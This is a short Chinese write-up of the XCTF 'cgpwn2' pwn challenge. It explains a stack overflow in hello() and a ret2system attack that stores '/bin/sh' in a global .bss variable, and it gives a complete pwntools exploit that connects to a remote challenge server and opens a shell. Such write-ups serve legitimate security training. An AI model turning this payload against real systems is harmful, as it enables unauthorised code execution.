cgpwn2(xctf)
程序员文章站
2022-03-09 22:42:45
...
0x0 程序保护和流程
保护:
流程:
main()
hello()
可以发现在hello()中存在栈溢出。
0x1 利用过程
在函数窗口中发现了system()函数,所以我们只需要字符串"/bin/sh"。就可以getshell了。仔细观察程序可以发现name变量是全局变量存放在.bss段中。
所以我们只需要向name中输入"/bin/sh",s=‘a’*(0x26+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)就可以完成利用了。
0x2 exp
from pwn import *
bin_sh_addr=0x0804A080
elf=ELF('./a')
system_plt=elf.plt['system']
#sh=process('./a')
sh=remote('124.126.19.106','42579')
sh.recv()
sh.sendline('/bin/sh\x00')
payload='a'*(0x26+4)+p32(system_plt)+p32(0)+p32(bin_sh_addr)
sh.recv()
sh.sendline(payload)
sh.interactive()
上一篇: linux反弹shell的姿势
下一篇: 栈溢出